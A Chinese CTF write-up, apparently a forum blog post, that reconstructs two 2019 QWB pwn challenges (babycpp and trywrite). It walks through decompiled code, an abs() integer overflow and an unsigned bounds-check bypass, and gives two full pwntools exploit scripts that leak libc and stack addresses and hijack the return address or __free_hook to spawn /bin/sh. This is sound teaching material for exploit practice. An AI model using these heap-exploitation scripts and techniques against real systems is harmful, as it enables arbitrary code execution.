2019-强网杯pwn复现--两题

发布者:Seclusion
发布于:2019-09-22 21:14

强网杯pwn题目复现

最近因为一些事情,一直没怎么认真研究pwn的东西,最近有时间可以玩一玩pwn了,复盘一下今年的强网杯题目。
个人觉得有些ctf比赛是学不到什么东西的,出于学习目的,还是多看看一些传统强队主办比赛中的题目进步大一些,比如xctf-startctf之类的优质比赛,后面有时间也会接着复盘的。

babycpp

题目逻辑

题目的主要功能由new、show、set、upgrade组成,有部分是通过function_table来实现的,看代码的时候可以看出来。

程序漏洞

这个程序的漏洞点在upgrade里面,利用的是abs函数里面存在的整数溢出问题,具体原理可以看内存中的数据存储,我在里面已经解释的很清楚了。

 memset(s, 0, 8uLL);
  printf("Input idx:", 0LL);
  scanf("%u", &v2);
  printf("Input hash:");
  v5 = read(0, s, 0x10uLL);
  v3 = abs(v2) % 15;
  for ( i = 0; i < v5; ++i )
  {
    if ( v3 + i == 16 )
      v3 = 0;
    a1->hash[v3 + i] = s[i];

简而言之,当abs()函数的参数是0x80000000的时候,因为正整数的范围少一个,所以他返回的仍然是个负数,导致我们可以修改题目中的function,从而利用int_node和str_node两种不同的功能,实现任意地址读和任意地址写。

利用思路

先看一下我创建的结构体

00000000 message         struc ; (sizeof=0x28, mappedto_6)
00000000 function        dq ?                    ; base 2
00000008 hash            db 16 dup(?)
00000018 field           dq ?
00000020 malloc_chunk    dq ?
00000028 message         ends

利用思路

通过upgrade修改function_table。

然后泄露heap地址。

heap地址中存在prog信息,再泄露prog。

利用prog+got泄露libc

利用libc_environ泄露stack地址

hijack libc_main_ret。

利用脚本

脚本中有注释

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './babycpp'
    ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    #ctx.remote = ('172.16.9.21', 9006)
    ctx.debug_remote_libc = True
    
    ctx.symbols = {
        'node':0x202060,
    }
    
    ctx.breakpoints = [0x1397]#main:0x1397  abs()%15:0xD47
    #ctx.debug()

    def new(int_flag):
        sla('ice',0)
        if int_flag:
            sla('ice',1)
        else:
            sla('ice',2)
    
    def set(hash,idx,content,length=0,int_flag=1):
        sla('ice',2)
        sl_hash(hash)
        if int_flag:
            sla('idx',idx)
            sa('val',content)
        else:
            sla('idx',idx)
            if length:
                sla('obj',length)
            sa('content',content)
            
    def show(hash,idx):
        sla('ice',1)
        sl_hash(hash)
        sla('idx',idx)
    
    def update(hash1,idx,hash2):
        sla('ice',3)
        sl_hash(hash1)
        sla('idx',idx)
        sa('hash',hash2)
    
    def sl_hash(hash):
        sa('hash:',hash)
                
    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
        
    
    int_table = '\xe0\x5c'
    str_table = '\x00\x5d'
    
    rs()
    
    new(1) #int hash='\x0'
    new(0) #str hash='\x1'
    
    hash_int = p64(0)+'\n'
    hash_str = p64(1)+'\n'
    
    #leak heap
    #dbg()
    set(hash_str,0,'\1',8,0)
    update(hash_str,0x80000000,int_table) # modify the str_table -> int_table
    show(hash_str,0)
    ru('is ')
    heap_base = int(ru('\n',drop=True),16)-0x11ff0
    
    #leak prog_bss # 0x11ea0
    #By using the function_table and reading anywhere to leak libc
    heap_table = heap_base + 0x11e70
    heap1 = heap_base + 0x11ea0
    #dbg()
    set(hash_int,0,hex(heap_table)+'\n')
    #set(hash_int,1,hex(heap_table)+'\n')
    set(hash_str,0,hex(heap1)+'\n')
    update(hash_str,0x80000000,str_table)
    show(hash_str,0)
    ru('Content:')
    prog_base = uu64(r(6))-0x201ce0
    #lg('prog_base',prog_base)
    
    #leak libc
    #By using the got_table and reading anywhere to leak libc
    scanf_got = prog_base + 0x201fb0
    #dbg()
    set(hash_int,0,hex(scanf_got)+'\n')
    show(hash_str,0)
    ru('Content:')
    libc_base = uu64(r(6))-ctx.libc.sym['scanf']
    lg('libc_base',libc_base)
    
    #hijack the stack.
    environ = libc_base + ctx.libc.sym['environ']
    dbg()
    set(hash_int,0,hex(environ)+'\n')
    show(hash_str,0)
    ru('Content:')
    stack = uu64(r(6))
    lg('stack',stack)
    main_ret = stack - 0xf0
    system = libc_base + ctx.libc.sym['system']
    pop_rdi = prog_base + 0x1693
    bin_sh = libc_base + ctx.libc.search('/bin/sh').next()
    set(hash_int,1,'0x80\n')
    set(hash_int,0,hex(main_ret)+'\n')
    payload = p64(pop_rdi) + p64(bin_sh) + p64(system)
    payload = payload * 2
    set(hash_str,0,payload,0,0)
    
    sla('ice',4)

    irt()


trywrite

一、心得

从这道题开始,自己尝试在IDA建立结构体来分析程序逻辑,对于结构体稍微复杂的题目,这个办法可以让程序看起来很简洁明了,感兴趣的小伙伴可以尝试一下。

没创建结构体的题目:

unsigned __int64 add()
{
  __int64 v0; // ST08_8
  signed int i; // [rsp+4h] [rbp-3Ch]
  char s; // [rsp+20h] [rbp-20h]
  __int64 v4; // [rsp+28h] [rbp-18h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 11 && *(_QWORD *)(8LL * i + unk_203030); ++i )
    ;
  if ( i == 12 )
  {
    puts("Sorry~");
  }
  else
  {
    memset(&s, 0, 0x10uLL);
    puts("Please tell me the key:");
    sub_C58(&s, 16LL);
    *(_QWORD *)(8LL * i + unk_203030) = sub_1096(144LL, 16LL);
    v0 = *(_QWORD *)(8LL * i + unk_203030);
    sub_1179(*(_QWORD *)(8LL * i + unk_203030), &s, 8LL);
    sub_1179(v0 + 136, &v4, 8LL);
    puts("Please tell me the date:");
    sub_C58(v0 + 8, 128LL);
    puts("Success!");
  }
  return __readfsqword(0x28u) ^ v5;

创建结构体的题目:

unsigned __int64 add()
{
  chunk *v0; // ST08_8
  signed int i; // [rsp+4h] [rbp-3Ch]
  char key[16]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 11 && list[i]; ++i )
    ;
  if ( i == 12 )
  {
    puts("Sorry~");
  }
  else
  {
    memset(key, 0, 0x10uLL);
    puts("Please tell me the key:");
    read_n(key, 16LL);
    list[i] = (chunk *)malloc_inner(144);
    v0 = list[i];
    memcpy_check(list[i], key, 8);
    memcpy_check(&v0->key1, &key[8], 8);
    puts("Please tell me the date:");
    read_n(&v0->data, 128LL);
    puts("Success!");
  }
  return __readfsqword(0x28u) ^ v4;

怎么样,我没骗大家吧,确实方便看了许多,而且设置起来也不麻烦。

推荐两个链接:

https://xz.aliyun.com/t/4205#toc-14

https://bbs.pediy.com/thread-225973.htm

二、程序逻辑

这道题目人为的固定了heap的地址空间,只能从mmap的区域中得到heap,对于得到的heap有地址检查的操作。这样也就限制了fastbin/tcache attack,因为malloc出来的chunk只能是mmap区域中的chunk。

这道题目的结构体如下:

struct chunk
{
    char key0[8];
    char data[128];
    char key1[8];
};

show函数中有一个encode操作,对于输出要转换一下才能得到正确的输出。

unsigned __int64 __fastcall encode(unsigned __int64 data, signed int length, __int64 key)
{
  unsigned __int64 result; // rax
  _DWORD *v4; // [rsp+8h] [rbp-28h]
  unsigned int i; // [rsp+24h] [rbp-Ch]
  unsigned int *v6; // [rsp+28h] [rbp-8h]

  v4 = (_DWORD *)key;
  v6 = (unsigned int *)data;
  for ( i = length; ; i -= 8 )
  {
    result = length + data;
    if ( (unsigned __int64)v6 >= result )
      break;
    result = i;
    if ( i <= 7 )
      break;
    sub_F5E(v6, v6 + 1, v4);
    v6 += 2;
  }
  return result;
}
漏洞点

这道题目的关键点在于change函数。

第一个漏洞点:

v8 = __readfsqword(0x28u);
  puts("I separated the key of each message in two places.");
  puts("Only you can tell me exactly where the first key is and how far the second key is from it.");
  puts("I'll change them for you.");
  puts("Give me how far the first key is from your heap:");
  offset1 = read_ul();
  puts("Give me how far the second key is from the first key:");
  offset2 = read_ul();
  buf = (chunk *)(heap_addr + offset1);
  buf_8 = (void *)(heap_addr + offset1 + 136);
  if ( heap_addr + offset1 > heap_addr + mmap_size[0] - offset2 || (unsigned __int64)buf < heap_addr )  //这里面是无符号比较的,我们可以控制heap_addr + mmap_size[0] - offset2 = -1,因此我们可以让heap_addr+offset1指向libc。
  {
    puts("Sorry~");
  }

第二个漏洞点:

    memcpy_check(buf, &key, 8);
    memcpy_check(buf_8, &v7, 8);
    for ( i = 0; i <= 11 && (!list[i] || buf != list[i]); ++i )

他的本意是如果想要进行赋值的操作,那么buf的地址必须要存在于list全局变量中。但是他是先进行的赋值操作,然后才进行的判断,因此我们可以第一步修改的时候改动全局变量,让后一步的判断满足条件。

三、漏洞利用过程

exp来源 Ex师傅的博客:http://blog.eonew.cn/archives/1072

我也想不出其他的办法getshell了,就白嫖了师傅的exp,师傅的博客是个宝藏,建议大家瞅瞅的。

1. leak libc

刚开始的泄露libc没什么的说的,tcache填满,放一个chunk到unsorted bin中,然后一个一个的malloc出来,覆盖一个字节,通过show()功能就可以泄露到libc了。

2. 赋写__free_hook

我们要修改全局变量list,使得我们的heap_offset1在list中存在,进行如下操作:

change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))

修改前list如下

pwndbg> x/50xg *$lst
0xabc050:       0x0000000000abc330      0x0000000000abc290                              
0xabc060:       0x0000000000abc1f0      0x0000000000abc150 # 现在是150
0xabc070:       0x0000000000abc0b0      0x0000000000abc510 #现在是0xabc0b0

change运行后

pwndbg> x/50xg *$lst
0xabc040:       0x0000000000abc470      0x0000000000abc3d0                            
0xabc050:       0x0000000000abc330      0x0000000000abc290                          
0xabc060:       0x0000000000abc1f0      0x0000000000abc050  #这里被修改为了0xabc050,这样我们后面就可以修改0xabc050的内容了,依次类推,可以任意地址写。         
0xabc070:       0x0000000000abc069      0x0000000000abc510  # 被覆盖了一个字节 0xabc069

后面就是把free_hook的地址写到0xc050地址处,然后再把system写到free_hook里面,最后system("/bin/sh")get shell。

完整exp:

#https://github.com/matrix1001/welpwn
#-*- coding:utf-8 -*-
from PwnContext import *
from ctypes import c_uint32

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './trywrite'
    libc = ELF('./libc-2.27.so')
    #ctx.custom_lib_dir = '/home/rhl/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' #change the libs
    #ctx.remote_libc = './libc.so'  #only change the libc.so  
    #ctx.remote = ('172.16.9.21', 9006)
    #ctx.debug_remote_libc = True
    
    ctx.symbols = {
        'start':0x203058,
        'end':0x203050,
        'lst':0x203030,
        'top':0x203040,
        'heap':0x203048,
        'mmap_size':0x203018,
    }
    
    ctx.breakpoints = [0x1905]#0x1905
    #ctx.debug()

    def _decode(v, k, delta):
        v0 = c_uint32(v[0])
        v1 = c_uint32(v[1])
        sum = c_uint32(0xe3779b90)
        for i in range(16):
            v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum.value) ^ ((v0.value >> 5) + k[3])
            v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum.value) ^ ((v1.value >> 5) + k[1])
            sum.value -= delta

        return struct.pack('II', v0.value, v1.value)

    def qqtea_decode(data, key, delta):
        k = struct.unpack('IIII', key)
        length = int(len(data) / 8)
        d = struct.unpack('II' * length, data)
        return ''.join([_decode([d[i * 2], d[i * 2 + 1]], k, delta) for i in range(length)])
            
    def add(key,content):
        sla('command>> \n', '1')
        sa('key:\n', key)
        sa('date:\n', content)
    
    def delete(idx):
        sla('command>> \n', '3')
        sla('index:\n',idx)
    
    
    def change(offset0,offset1,content):
        sla('command>> \n', '4')
        sla('heap:\n',offset0)
        sla('key:',offset1)
        sa('key:',content)
    
    
    rs()
    #dbg()
    
    key = 'k' * 16
    heap_addr = 0xabc000
    sla('heap:',str(heap_addr))
    sla('now?(Y/N)','Y')
    sl('goof person')
    
    # leak libc addr
    for i in range(8 + 1):
        add(key, '\n')

    for i in range(8):
        delete(i)

    for i in range(8):
        add(key, '\n')
    
    # pause()
    sla('command>> \n', '2')
    sla('Please tell me the index:\n', str(7))

    #dbg()
    raw = r(0x80)
    data = qqtea_decode(raw, key, 0x9e3779b9)
    print(hexdump(data))

    main_arena_addr = u64(data[0:8]) + 0x40
    log.success("main_arena_addr: " + hex(main_arena_addr))
    libc_addr = main_arena_addr - 0x3ebc40
    log.success("libc_addr: " + hex(libc_addr))
    
    # modify the field of ptr 
    change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))

    # write __free_hook to the ptr field
    __free_hook_addr = libc_addr + libc.symbols['__free_hook']
    log.success("__free_hook_addr: " + hex(__free_hook_addr))

    #dbg()

    change(0x50, 0, p64(__free_hook_addr) + p64(0))

    # hijack __free_hook
    system_addr = libc_addr + libc.symbols['system']
    log.success("system_addr: " + hex(system_addr))

    key0_offset = __free_hook_addr - heap_addr
    key1_offset = heap_addr + 0x20001  # 无符号比较 -1 转换为 0xfffffff...无穷大

    change(key0_offset, key1_offset, p64(system_addr) + p64(0))

    add('/bin/sh\0'.ljust(16, '\0'), '\n') # index 9
    delete(9)
    
    irt()


声明:该文观点仅代表作者本人,转载请注明来自看雪